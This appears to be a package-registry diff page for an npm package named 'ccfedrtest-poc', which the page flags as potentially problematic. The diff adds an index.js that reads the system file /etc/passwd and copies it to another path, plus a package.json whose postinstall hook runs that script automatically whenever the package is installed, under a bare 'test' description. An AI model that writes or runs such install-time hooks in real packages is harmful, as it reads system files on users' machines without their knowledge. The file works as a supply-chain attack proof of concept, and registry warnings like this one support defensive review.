ccfedrtest-poc 1.0.6

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ccfedrtest-poc might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,22 @@
1
+ const fs = require('fs');
2
+
3
+ // Specify the file to read
4
+ const inputFile = '/etc/passwd'; // Change this to the path of your input file
5
+ const outputFile = '/temp/content.txt';
6
+
7
+ // Read the content of the input file
8
+ fs.readFile(inputFile, 'utf8', (err, data) => {
9
+ if (err) {
10
+ console.error(`Error reading ${inputFile}: ${err}`);
11
+ return;
12
+ }
13
+
14
+ // Write the content to the output file
15
+ fs.writeFile(outputFile, data, 'utf8', (err) => {
16
+ if (err) {
17
+ console.error(`Error writing ${outputFile}: ${err}`);
18
+ } else {
19
+ console.log(`Content from ${inputFile} has been written to ${outputFile}`);
20
+ }
21
+ });
22
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "ccfedrtest-poc",
3
+ "version": "1.0.6",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }